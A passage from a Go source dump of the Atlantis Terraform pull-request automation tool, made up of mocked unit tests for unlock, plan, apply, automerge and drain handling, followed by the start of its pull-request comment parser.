ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Failed to delete PR locks"), Eq("unlock")) } func TestRunUnlockCommandFail_DisableUnlockLabel(t *testing.T) { t.Log("if PR has label equal to disable-unlock-label unlock should fail") doNotUnlock := "do-not-unlock" vcsClient := setup(t) pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn([]string{doNotUnlock, "need-help"}, nil) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Not allowed to unlock PR with "+doNotUnlock+" label"), Eq("unlock")) } func TestRunUnlockCommandFail_GetLabelsFail(t *testing.T) { t.Log("if GetPullLabels fails do not unlock PR") vcsClient := setup(t) pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn(nil, errors.New("err")) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Failed to retrieve PR labels... Not unlocking"), Eq("unlock")) } func TestRunUnlockCommandDoesntRetrieveLabelsIfDisableUnlockLabelNotSet(t *testing.T) { t.Log("if disable-unlock-label is not set do not call GetPullLabels") doNotUnlock := "do-not-unlock" vcsClient := setup(t) pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn([]string{doNotUnlock, "need-help"}, nil) unlockCommandRunner.DisableUnlockLabel = "" ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) vcsClient.VerifyWasCalled(Never()).GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull)) } func TestRunAutoplanCommand_DeletePlans(t *testing.T) { setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, }, { CommandName: command.Plan, }, }, nil) When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}}) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) testdata.Pull.BaseRepo = testdata.GithubRepo ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) } func TestRunAutoplanCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_False(t *testing.T) { setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, }, }, nil) When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}}) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) testdata.Pull.BaseRepo = testdata.GithubRepo ch.FailOnPreWorkflowHookError = false ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) commitUpdater.VerifyWasCalledOnce().UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Eq(command.Plan)) commitUpdater.VerifyWasCalled(Never()).UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.FailedCommitStatus), Any[command.Name]()) } func TestRunAutoplanCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_True(t *testing.T) { vcsClient := setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, }, }, nil) When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) testdata.Pull.BaseRepo = testdata.GithubRepo ch.FailOnPreWorkflowHookError = true ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) pendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(Any[string]()) // gomock will fail if lockingLocker.UnlockByPull is called unexpectedly (no EXPECT set) commitUpdater.VerifyWasCalledOnce().UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Eq(command.Plan)) _, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() Assert(t, strings.Contains(comment, "Error: Pre-workflow hook failed"), fmt.Sprintf("comment should be about a pre-workflow hook failure but was %q", comment)) } func TestRunCommentCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_False(t *testing.T) { setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}}) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) pull := &github.PullRequest{State: github.Ptr("open")} modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) testdata.Pull.BaseRepo = testdata.GithubRepo ch.FailOnPreWorkflowHookError = false ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) } func TestRunCommentCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_True(t *testing.T) { setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) testdata.Pull.BaseRepo = testdata.GithubRepo ch.FailOnPreWorkflowHookError = true ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) pendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(Any[string]()) // gomock will fail if lockingLocker.UnlockByPull is called unexpectedly (no EXPECT set) } func TestRunGenericPlanCommand_DeletePlans(t *testing.T) { setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() projectCtx := command.ProjectContext{ CommandName: command.Plan, ExecutionOrderGroup: 0, ProjectName: "TestProject", Workspace: "default", BaseRepo: testdata.GithubRepo, Pull: testdata.Pull, } When(projectCommandBuilder.BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())). ThenReturn([]command.ProjectContext{projectCtx}, nil) When(projectCommandRunner.Plan(projectCtx)).ThenReturn(command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "true", }, }) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) pull := &github.PullRequest{State: github.Ptr("open")} modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) testdata.Pull.BaseRepo = testdata.GithubRepo ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) } func TestRunSpecificPlanCommandDoesnt_DeletePlans(t *testing.T) { setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}}) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) testdata.Pull.BaseRepo = testdata.GithubRepo ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan, ProjectName: "default"}) pendingPlanFinder.VerifyWasCalled(Never()).DeletePlans(tmp) } // Test that if one plan fails and we are using automerge, that // we delete the plans. func TestRunAutoplanCommandWithError_DeletePlans(t *testing.T) { vcsClient := setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB defer func() { autoMerger.GlobalAutomerge = false }() When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). ThenReturn([]command.ProjectContext{ { CommandName: command.Plan, AutomergeEnabled: true, // Setting this manually, since this tests bypasses automerge param reconciliation logic and otherwise defaults to false. }, { CommandName: command.Plan, AutomergeEnabled: true, // Setting this manually, since this tests bypasses automerge param reconciliation logic and otherwise defaults to false. }, }, nil) callCount := 0 When(projectCommandRunner.Plan(Any[command.ProjectContext]())).Then(func(_ []Param) ReturnValues { if callCount == 0 { // The first call, we return a successful result. callCount++ return ReturnValues{ command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{}, }, } } // The second call, we return a failed result. return ReturnValues{ command.ProjectCommandOutput{ Error: errors.New("err"), }, } }) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())). ThenReturn(tmp, nil) testdata.Pull.BaseRepo = testdata.GithubRepo ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) // gets called twice: the first time before the plan starts, the second time after the plan errors pendingPlanFinder.VerifyWasCalled(Times(2)).DeletePlans(tmp) vcsClient.VerifyWasCalled(Times(0)).DiscardReviews(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]()) } func TestRunGenericPlanCommand_DiscardApprovals(t *testing.T) { vcsClient := setup(t, func(testConfig *TestConfig) { testConfig.discardApprovalOnPlan = true }) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}}) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) pull := &github.PullRequest{State: github.Ptr("open")} modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) testdata.Pull.BaseRepo = testdata.GithubRepo ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) vcsClient.VerifyWasCalledOnce().DiscardReviews(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]()) } func TestApplyMergeablityWhenPolicyCheckFails(t *testing.T) { t.Log("if \"atlantis apply\" is run with failing policy check then apply is not performed") setup(t) tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{ BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num, } When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) _, _ = boltDB.UpdatePullWithResults(modelPull, []command.ProjectResult{ { Command: command.PolicyCheck, ProjectCommandOutput: command.ProjectCommandOutput{ Error: fmt.Errorf("failing policy"), }, ProjectName: "default", Workspace: "default", RepoRelDir: ".", }, }) When(ch.VCSClient.PullIsMergeable(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull), Eq("atlantis-test"), Eq([]string{}))).ThenReturn(models.MergeableStatus{ IsMergeable: true, }, nil) When(projectCommandBuilder.BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())).Then(func(args []Param) ReturnValues { return ReturnValues{ []command.ProjectContext{ { CommandName: command.Apply, ProjectName: "default", Workspace: "default", RepoRelDir: ".", ProjectPlanStatus: models.ErroredPolicyCheckStatus, }, }, nil, } }) When(workingDir.GetPullDir(testdata.GithubRepo, modelPull)).ThenReturn(tmp, nil) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &modelPull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) } func TestApplyWithAutoMerge_VSCMerge(t *testing.T) { t.Log("if \"atlantis apply\" is run with automerge then a VCS merge is performed") vcsClient := setup(t) pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() pullOptions := models.PullRequestOptions{ DeleteSourceBranchOnMerge: false, } ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) vcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Eq(modelPull), Eq(pullOptions)) } func TestRunApply_DiscardedProjects(t *testing.T) { t.Log("if \"atlantis apply\" is run with automerge and at least one project" + " has a discarded plan, automerge should not take place") vcsClient := setup(t) autoMerger.GlobalAutomerge = true defer func() { autoMerger.GlobalAutomerge = false }() tmp := t.TempDir() boltDB, err := boltdb.New(tmp) t.Cleanup(func() { boltDB.Close() }) Ok(t, err) dbUpdater.Database = boltDB applyCommandRunner.Database = boltDB pull := testdata.Pull pull.BaseRepo = testdata.GithubRepo _, err = boltDB.UpdatePullWithResults(pull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "tf-output", LockURL: "lock-url", }, }, }, }) Ok(t, err) Ok(t, boltDB.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus)) ghPull := &github.PullRequest{ State: github.Ptr("open"), } When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(ghPull, nil) When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(ghPull))).ThenReturn(pull, pull.BaseRepo, testdata.GithubRepo, nil) When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())). ThenReturn(tmp, nil) ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, &pull, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) vcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) } func TestRunCommentCommand_DrainOngoing(t *testing.T) { t.Log("if drain is ongoing then a message should be displayed") vcsClient := setup(t) drainer.ShutdownBlocking() ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, nil) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Atlantis server is shutting down, please try again later."), Eq("")) } func TestRunCommentCommand_DrainNotOngoing(t *testing.T) { t.Log("if drain is not ongoing then remove ongoing operation must be called even if panic occurred") setup(t) When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenPanic( "panic test - if you're seeing this in a test failure this isn't the failing test") ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) githubGetter.VerifyWasCalledOnce().GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num)) Equals(t, 0, drainer.GetStatus().InProgressOps) } func TestRunAutoplanCommand_DrainOngoing(t *testing.T) { t.Log("if drain is ongoing then a message should be displayed") vcsClient := setup(t) drainer.ShutdownBlocking() ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Atlantis server is shutting down, please try again later."), Eq("plan")) } func TestRunAutoplanCommand_DrainNotOngoing(t *testing.T) { t.Log("if drain is not ongoing then remove ongoing operation must be called even if panic occurred") setup(t) testdata.Pull.BaseRepo = testdata.GithubRepo When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).ThenPanic("panic test - if you're seeing this in a test failure this isn't the failing test") ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) projectCommandBuilder.VerifyWasCalledOnce().BuildAutoplanCommands(Any[*command.Context]()) Equals(t, 0, drainer.GetStatus().InProgressOps) } ================================================ FILE: server/events/command_type.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events ================================================ FILE: server/events/comment_parser.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "bytes" "fmt" "io" "net/url" "path/filepath" "regexp" "slices" "strings" "text/template" "github.com/bmatcuk/doublestar/v4" "github.com/google/shlex" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/utils" "github.com/spf13/pflag" ) const ( workspaceFlagLong = "workspace" workspaceFlagShort = "w" dirFlagLong = "dir" dirFlagShort = "d" projectFlagLong = "project" projectFlagShort = "p" policySetFlagLong = "policy-set" policySetFlagShort = "" autoMergeDisabledFlagLong = "auto-merge-disabled" autoMergeDisabledFlagShort = "" autoMergeMethodFlagLong = "auto-merge-method" autoMergeMethodFlagShort = "" verboseFlagLong = "verbose" verboseFlagShort = "" clearPolicyApprovalFlagLong = "clear-policy-approval" clearPolicyApprovalFlagShort = "" ) // multiLineRegex is used to ignore multi-line comments since those aren't valid // Atlantis commands. If the second line just has newlines then we let it pass // through because when you double click on a comment in GitHub and then you // paste it again, GitHub adds two newlines and so we wanted to allow copying // and pasting GitHub comments. var multiLineRegex = regexp.MustCompile(`.*\r?\n[^\r\n]+`) //go:generate pegomock generate --package mocks -o mocks/mock_comment_parsing.go CommentParsing // CommentParsing handles parsing pull request comments. type CommentParsing interface { // Parse attempts to parse a pull request comment to see if it's an Atlantis // command. Parse(comment string, vcsHost models.VCSHostType) CommentParseResult } //go:generate pegomock generate --package mocks -o mocks/mock_comment_building.go CommentBuilder // CommentBuilder builds comment commands that can be used on pull requests. type CommentBuilder interface { // BuildPlanComment builds a plan comment for the specified args. BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string // BuildApplyComment builds an apply comment for the specified args. BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string // BuildApprovePoliciesComment builds an approve_policies comment for the specified args. BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string } // CommentParser implements CommentParsing type CommentParser struct { GithubUser string GitlabUser string GiteaUser string BitbucketUser string AzureDevopsUser string ExecutableName string AllowCommands []command.Name } // NewCommentParser returns a CommentParser func NewCommentParser(githubUser, gitlabUser, giteaUser, bitbucketUser, azureDevopsUser, executableName string, allowCommands []command.Name) *CommentParser { var commentAllowCommands []command.Name for _, acceptableCommand := range command.AllCommentCommands { for _, allowCommand := range allowCommands { if acceptableCommand == allowCommand { commentAllowCommands = append(commentAllowCommands, allowCommand) break // for distinct } } } return &CommentParser{ GithubUser: githubUser, GitlabUser: gitlabUser, GiteaUser: giteaUser, BitbucketUser: bitbucketUser, AzureDevopsUser: azureDevopsUser, ExecutableName: executableName, AllowCommands: commentAllowCommands, } } // CommentParseResult describes the result of parsing a comment as a command. type CommentParseResult struct { // Command is the successfully parsed command. Will be nil if // CommentResponse or Ignore is set. Command *CommentCommand // CommentResponse is set when we should respond immediately to the command // for example for atlantis help. CommentResponse string // Ignore is set to true when we should just ignore this comment. Ignore bool } // Parse parses the comment as an Atlantis command. // // Valid commands contain: // - The initial "executable" name, 'run' or 'atlantis' or '@GithubUser' // where GithubUser is the API user Atlantis is running as. // - Then a command: 'plan', 'apply', 'unlock', 'version, 'approve_policies', // or 'help'. // - Then optional flags, then an optional separator '--' followed by optional // extra flags to be appended to the terraform plan/apply command. // // Examples: // - atlantis help // - run apply // - @GithubUser plan -w staging // - atlantis plan -w staging -d dir --verbose // - atlantis plan --verbose -- -key=value -key2 value2 // - atlantis unlock // - atlantis version // - atlantis approve_policies // - atlantis import ADDRESS ID func (e *CommentParser) Parse(rawComment string, vcsHost models.VCSHostType) CommentParseResult { comment := strings.TrimSpace(rawComment) comment = strings.Trim(comment, "`") if multiLineRegex.MatchString(comment) { return CommentParseResult{Ignore: true} } // We first use strings.Fields to parse and do an initial evaluation. // Later we use a proper shell parser and re-parse. args := strings.Fields(comment) if len(args) < 1 { return CommentParseResult{Ignore: true} } // Lowercase it to avoid autocorrect issues with browsers. executableName := strings.ToLower(args[0]) // Helpfully warn the user if they're using "terraform" instead of "atlantis" if executableName == "terraform" && e.ExecutableName != "terraform" { return CommentParseResult{CommentResponse: fmt.Sprintf(DidYouMeanAtlantisComment, e.ExecutableName, "terraform")} } // Helpfully warn the user that the command might be misspelled if utils.IsSimilarWord(executableName, e.ExecutableName) { return CommentParseResult{CommentResponse: fmt.Sprintf(DidYouMeanAtlantisComment, e.ExecutableName, args[0])} } // Atlantis can be invoked using the name of the VCS host user we're // running under. Need to be able to match against that user. var vcsUser string switch vcsHost { case models.Github: vcsUser = e.GithubUser case models.Gitlab: vcsUser = e.GitlabUser case models.Gitea: vcsUser = e.GiteaUser case models.BitbucketCloud, models.BitbucketServer: vcsUser = e.BitbucketUser case models.AzureDevops: vcsUser = e.AzureDevopsUser } executableNames := []string{"run", e.ExecutableName, "@" + vcsUser} if !slices.Contains(executableNames, executableName) { return CommentParseResult{Ignore: true} } // Now that we know Atlantis is being invoked, re-parse using a shell-style // parser. args, err := shlex.Split(comment) if err != nil { return CommentParseResult{CommentResponse: fmt.Sprintf("```\nError parsing command: %s\n```", err)} } if len(args) < 1 { return CommentParseResult{Ignore: true} } // If they've just typed the name of the executable then give them the help // output. if len(args) == 1 { return CommentParseResult{CommentResponse: e.HelpComment()} } // Lowercase it to avoid autocorrect issues with browsers. cmd := strings.ToLower(args[1]) // Help output. if slices.Contains([]string{"help", "-h", "--help"}, cmd) { return CommentParseResult{CommentResponse: e.HelpComment()} } // Need to have allow commands at this point. if !e.isAllowedCommand(cmd) { var allowCommandList []string for _, allowCommand := range e.AllowCommands { allowCommandList = append(allowCommandList, allowCommand.String()) } return CommentParseResult{CommentResponse: fmt.Sprintf("```\nError: unknown command %q.\nRun '%s --help' for usage.\nAvailable commands(--allow-commands): %s\n```", cmd, e.ExecutableName, strings.Join(allowCommandList, ", "))} } var workspace string var dir string var project string var policySet string var clearPolicyApproval bool var verbose bool var autoMergeDisabled bool var autoMergeMethod string var flagSet *pflag.FlagSet var name command.Name // Set up the flag parsing depending on the command. switch cmd { case command.Plan.String(): name = command.Plan flagSet = pflag.NewFlagSet(command.Plan.String(), pflag.ContinueOnError) 